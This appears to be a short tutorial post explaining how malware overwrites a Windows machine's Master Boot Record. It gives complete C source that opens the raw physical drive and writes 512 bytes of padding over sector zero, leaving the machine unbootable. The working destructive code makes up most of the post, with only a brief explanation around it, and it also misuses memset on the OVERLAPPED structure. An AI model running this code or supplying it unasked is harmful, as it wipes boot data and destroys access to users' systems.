Overwriting MBR

We have all come across malware which overwrites the Master Boot Record (MBR) of a machine, leaving it unbootable. The code required to overwrite the MBR is surprisingly simple. We will first need to open a write handle to the physical device using the CreateFile API. The MBR is stored in the very first sector (512 bytes) of the hard drive, it is outside the C:\ NTFS volume, hence we need direct write access to the raw device. The OVERLAPPED structure is used because we want to be able to control the offset where the first byte is written. For the case of the MBR, the offset is 0 since it is the first sector. However, this technique can be used to overwrite other unallocated sectors outside the file system, in which case the offset will need to be set accordingly.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <stdio.h>
#include <windows.h>


int main(int argc, CHAR* argv[])
{

    OVERLAPPED osWrite;
    memset(&osWrite, 0, (1 * 512));
    osWrite.Offset = 0;
    osWrite.OffsetHigh = 0;
    osWrite.hEvent = 0;

    CHAR buffer[512];
    strncpy_s(buffer, "Here lies 512 bytes of garbage which will be used to overwrite your MBR... PADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDING \
    PADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXX \
    PADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGXXXX",512);

    HANDLE hHandle = CreateFile(L"\\\\.\\PhysicalDrive0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, FILE_FLAG_OVERLAPPED | FILE_FLAG_NO_BUFFERING, 0);
    WriteFile(hHandle, buffer, (1 * 512), NULL, &osWrite);
    CloseHandle(hHandle);

    printf("MBR Write Complete\n");
    return 0;
}